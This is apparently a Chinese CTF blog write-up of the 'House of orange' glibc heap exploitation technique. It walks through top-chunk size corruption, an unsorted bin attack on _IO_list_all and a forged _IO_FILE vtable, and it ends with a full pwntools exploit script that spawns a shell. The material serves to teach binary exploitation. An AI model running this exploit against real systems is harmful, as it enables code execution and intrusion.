House of orange

161 篇文章 9 订阅
161 篇文章 9 订阅

House of orange因一道同名的题而来,它是在程序没有调用free函数的情况下利用其它漏洞结合IO_FILE来达到利用。

  1. 首先利用漏洞修改top chunk的size,然后申请一个比size大的堆,满足一定条件,这个top chunk就会被释放到unsorted bin里。
  2. 利用unsorted bin attack,将__IO_list_all指针改写为unsorted bin的头chunk地址
  3. 利用漏洞在可控的unsorted bin里伪造IO_file_plus和vtable结构
  4. 再次malloc时,由于unsorted bin里的指针被修改了,发生malloc_printerr报错,而malloc_printerr用到了__IO_list_all指针,会从__IO_list_all指向的地方开始查找合适的FILE结构,并调用里面vtable里的函数。因此,我们在vtable里放入system函数即可getshell

我们先来看一下程序的保护机制

然后,我们用IDA分析一下,一次create创建3个堆,总共可以create三次。

Upgrade操作存在明显的堆溢出漏洞

show功能没有什么异常

 

做堆题,一般都是要先泄露libc地址,这需要用到unsorted bin,但是本题没有free操作。我们可以利用溢出,修改top chunksize,改小一点。然后我们malloc一个比这个size大的chunk,由于我们申请的大小超过了top chunk的大小。系统会使用sysmalloc来分配堆,sysmalloc最后会判断old_size如果符合条件,原来的top chunk就会被释放,即放入unsorted bin

  1. static void *  
  2. sysmalloc (INTERNAL_SIZE_T nb, mstate av)  
  3. {  
  4.   mchunkptr old_top;              /* incoming value of av->top */  
  5.   INTERNAL_SIZE_T old_size;       /* its size */  
  6. /* 
  7.      If have mmap, and the request size meets the mmap threshold, and 
  8.      the system supports mmap, and there are few enough currently 
  9.      allocated mmapped regions, try to directly map this request 
  10.      rather than expanding top. 
  11.    */  
  12.   
  13.   if (av == NULL  
  14.       || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)  
  15.       && (mp_.n_mmaps < mp_.n_mmaps_max)))  
  16.     {  
  17. .........  
  18. /* Setup fencepost and free the old top chunk with a multiple of 
  19.              MALLOC_ALIGNMENT in size. */  
  20.           /* The fencepost takes at least MINSIZE bytes, because it might 
  21.              become the top chunk again later.  Note that a footer is set 
  22.              up, too, although the chunk is marked in use. */  
  23.           old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;  
  24.           set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);  
  25.           if (old_size >= MINSIZE)  
  26.             {  
  27.               set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);  
  28.               set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));  
  29.               set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);  
  30.               _int_free (av, old_top, 1);  
  31.             }  
  32.           else  
  33.             {  
  34.               set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);  
  35.               set_foot (old_top, (old_size + 2 * SIZE_SZ));  
  36.             }  
  37. }  
  38. .....  
  39. }  

当unsorted bin里有chunk后,我们通过申请堆块,就能让指针保留在我们的申请的堆里,这样我们就能泄露了。当然为了能把heap的地址也泄露出来,我们malloc一个large bin,这样它的fd_nextsize和bk_nextsize中指向自身。

  1. build(0x30,'a'*0x30)  
  2. #修改top chunksize0xF80  
  3. payload = 'a'*0x30 + p64(0) + p64(0x21) + 'b'*0x10 + p64(0) + p64(0xF80)  
  4. edit(len(payload),payload)  
  5. #申请一个比top chunksize大的空间,那么top chunk会被放入unsorted bin  
  6. build(0x1000,'b')  
  7. #接下来申请unsorted bin里的chunk,泄露libc地址和堆地址  
  8. build(0x400,'c')  
  9. show()  
  10. sh.recvuntil('Name of house : ')  
  11. main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))  
  12. _IO_list_all_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (_IO_list_all_s & 0xFFF)  
  13. libc_base = _IO_list_all_addr - _IO_list_all_s  
  14. system_addr = libc_base + system_s  
  15. print 'libc_base=',hex(libc_base)  
  16. print 'system_addr=',hex(system_addr)  
  17. print '_IO_list_all_addr=',hex(_IO_list_all_addr)  
  18. #泄露堆地址  
  19. edit(0x10,'c'*0x10)  
  20. show()  
  21. sh.recvuntil('c'*0x10)  
  22. heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))  
  23. heap_base = heap_addr - 0xE0  
  24. print 'heap_base=',hex(heap_base)  

接下来,我们利用unsorted bin attack修改__IO_list_all指针

Unsorted bin attack的原理在glibc的源码中,我们伪造将__IO_list_all-0x10伪造成bk,这样bck->fd = __IO_list_all = unsorted_chunks (av) = main_arena + 0x58

  1. /* remove from unsorted list */  
  2. unsorted_chunks (av)->bk = bck;  
  3. bck->fd = unsorted_chunks (av);  

此时, main_arena + 0x58相当于一个IO_file_plus结构,但是main_arena+0x58的内容我们不能完全控制,也就不能在这里伪造结构。

我们看到IO_file_plus结构有一个_chain指针,它位于IO_file_plus+0x68处,指向了下一个IO_file_plus结构体,相当于单链表一样,用指针连接起来。现在main_arena+0x58是IO_file_plus,那么_chain的位置就在main_arena+0x58 + 0x68 = main_arena + 0xC0,而main_arena + 0xC0存储着的是small bin的头地址。所以,我们要让main_arena + 0xC0指向一个我们可控的地方,然后在那里伪造第二个IO_file_plus结构,即通过转移,让它转移到我们可控的地方。

我们可以把unsorted bin的头结点的size改成0x60,这样当我们调用mallocglibc会整理unsorted bin,把对应sizechunk放入对应的bin里面。此时,size0x60,属于small_bin

  1. static void *  
  2. _int_malloc (mstate av, size_t bytes)  
  3. {  
  4. /* remove from unsorted list */  
  5.           unsorted_chunks (av)->bk = bck;  
  6.           bck->fd = unsorted_chunks (av);  
  7.   
  8.           /* Take now instead of binning if exact fit */  
  9.   
  10.           if (size == nb)  
  11.             {  
  12.               set_inuse_bit_at_offset (victim, size);  
  13.               if (av != &main_arena)  
  14.                 victim->size |= NON_MAIN_ARENA;  
  15.               check_malloced_chunk (av, victim, nb);  
  16.               void *p = chunk2mem (victim);  
  17.               alloc_perturb (p, bytes);  
  18.               return p;  
  19.             }  
  20.   
  21.           /* place chunk in bin */  
  22.   
  23.           if (in_smallbin_range (size))  
  24.             {  
  25.               victim_index = smallbin_index (size);  //victim_index=6
  26.               bck = bin_at (av, victim_index);  //bck=&av->bins[10]-0x10
  27.               fwd = bck->fd;  //fwd=&av->bins[10]
  28.             }  
  29. ...  
  30. mark_bin (av, victim_index);  
  31. victim->bk = bck;  
  32. victim->fd = fwd;  
  33. fwd->bk = victim;//&av->bins[10]+0x18 = old_top  
  34. bck->fd = victim; 
  35.  
  36. }  

main_arena结构

  1. struct malloc_state  
  2. {  
  3.   /* Serialize access.  */  
  4.   mutex_t mutex;  
  5.   
  6.   /* Flags (formerly in max_fast).  */  
  7.   int flags;  
  8.   
  9.   /* Fastbins */  
  10.   mfastbinptr fastbinsY[NFASTBINS];  
  11.   
  12.   /* Base of the topmost chunk -- not otherwise kept in a bin */  
  13.   mchunkptr top;  
  14.   
  15.   /* The remainder from the most recent split of a small request */  
  16.   mchunkptr last_remainder;  
  17.   
  18.   /* Normal bins packed as described above */  
  19.   mchunkptr bins[NBINS * 2 - 2];  
  20.   
  21.   /* Bitmap of bins */  
  22.   unsigned int binmap[BINMAPSIZE];  
  23.   
  24.   /* Linked list */  
  25.   struct malloc_state *next;  
  26.   
  27.   /* Linked list for free arenas.  Access to this field is serialized 
  28.      by free_list_lock in arena.c.  */  
  29.   struct malloc_state *next_free;  
  30.   
  31.   /* Number of threads attached to this arena.  0 if the arena is on 
  32.      the free list.  Access to this field is serialized by 
  33.      free_list_lock in arena.c.  */  
  34.   INTERNAL_SIZE_T attached_threads;  
  35.   
  36.   /* Memory allocated from the system in this arena.  */  
  37.   INTERNAL_SIZE_T system_mem;  
  38.   INTERNAL_SIZE_T max_system_mem;  
  39. };  

av->bins[10]+0x18 = main_arena + 0x58 + 0x8*10 + 0x18 = main_arena + 0xC0 = old_top

我们让unsorted bin的size为0x60,是为了让chain指针正好重新指回来,指向我们可控的地方。

那么,我们就可以开始伪造结构体了,我们还需要绕过一下检查

  1. _IO_flush_all_lockp (int do_lock)  
  2. {  
  3.   int result = 0;  
  4.   FILE *fp;  
  5. #ifdef _IO_MTSAFE_IO  
  6.   _IO_cleanup_region_start_noarg (flush_cleanup);  
  7.   _IO_lock_lock (list_all_lock);  
  8. #endif  
  9.   for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)  
  10.     {  
  11.       run_fp = fp;  
  12.       if (do_lock)  
  13.         _IO_flockfile (fp);  
  14.       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)  
  15.            || (_IO_vtable_offset (fp) == 0  
  16.                && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr  
  17.                                     > fp->_wide_data->_IO_write_base))/*我们需要构造满足条件*/  
  18.            )  
  19.           && _IO_OVERFLOW (fp, EOF) == EOF)/*_IO_list_all指向的FILE结构开始查找,找到合适_IO_FILE作为_IO_OVERFLOW的参数,执行vtable里面的函数,把IO_FILE结构体本身作为参数*/  
  20.         result = EOF;  
  21.       if (do_lock)  
  22.         _IO_funlockfile (fp);  
  23.       run_fp = NULL;  
  24.     }  
  25. #ifdef _IO_MTSAFE_IO  
  26.   _IO_lock_unlock (list_all_lock);  
  27.   _IO_cleanup_region_end (0);  
  28. #endif  
  29.   return result;  
  30. }  

我们伪造的结构体如下

  1. #执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串  
  2. fake_file = '/bin/sh\x00' + p64(0x60) #size作为0x60,被放入small_bin,从而对应了chain指针  
  3. #unsorted bin attack,修改_IO_list_allmain_arena+88  
  4. fake_file += p64(0) + p64(_IO_list_all_addr-0x10)  
  5. #_IO_write_base < _IO_write_ptr  
  6. fake_file += p64(0) + p64(1)  
  7. fake_file = fake_file.ljust(0xC0,'\x00')  
  8. fake_file += p64(0)*3  
  9. #vtable指针,同时,也作为fake_vtable__dummy  
  10. fake_file += p64(heap_base + 0x5E8)  
  11. #__dummy2__finish  
  12. fake_file += p64(0)*2  
  13. #__overflow  
  14. fake_file += p64(system_addr)  

现在,让我们来malloc触发后看看

同时,我们也已经getshell

 

 

如果getsehll失败,可以多试几次就会成功。因为栈环境问题。

#coding:utf8
from pwn import *

sh = process('./houseoforange')
#sh = remote('111.198.29.45',44076)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc = ELF('./libc64-2.19.so')

_IO_list_all_s = libc.symbols['_IO_list_all']
system_s = libc.sym['system']


def build(size,name):
   sh.sendlineafter('Your choice :','1')
   sh.sendlineafter('Length of name :',str(size))
   sh.sendafter('Name :',name)
   sh.sendlineafter('Price of Orange:','123')
   sh.sendlineafter('Color of Orange:','1')

def show():
   sh.sendlineafter('Your choice :','2')

def edit(size,name):
   sh.sendlineafter('Your choice :','3')
   sh.sendlineafter('Length of name :',str(size))
   sh.sendafter('Name:',name)
   sh.sendlineafter('Price of Orange:','123')
   sh.sendlineafter('Color of Orange:','1')

build(0x30,'a'*0x30)
#修改top chunk的size为0xF80
payload = 'a'*0x30 + p64(0) + p64(0x21) + 'b'*0x10 + p64(0) + p64(0xF80)
edit(len(payload),payload)
#申请一个比top chunk的size大的空间,那么top chunk会被放入unsorted bin
build(0x1000,'b')
#接下来申请unsorted bin里的chunk,泄露libc地址和堆地址
build(0x400,'c')
show()
sh.recvuntil('Name of house : ')
main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
_IO_list_all_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (_IO_list_all_s & 0xFFF)
libc_base = _IO_list_all_addr - _IO_list_all_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
#泄露堆地址
edit(0x10,'c'*0x10)
show()
sh.recvuntil('c'*0x10)
heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
heap_base = heap_addr - 0xE0
print 'heap_base=',hex(heap_base)

payload = 'a'*0x400
payload += p64(0) + p64(0x21) + 'a'*0x10
#执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串
fake_file = '/bin/sh\x00' + p64(0x60) #size作为0x60,被放入small_bin,从而对应了chain指针
#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xC0,'\x00')
fake_file += p64(0)*3
#vtable指针,同时,也作为fake_vtable的__dummy
fake_file += p64(heap_base + 0x5E8)
#__dummy2、__finish
fake_file += p64(0)*2
#__overflow
fake_file += p64(system_addr)

payload += fake_file
edit(len(payload),payload)
#malloc触发异常,getshell
sh.recv()
sh.sendline('1')

sh.interactive()
  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值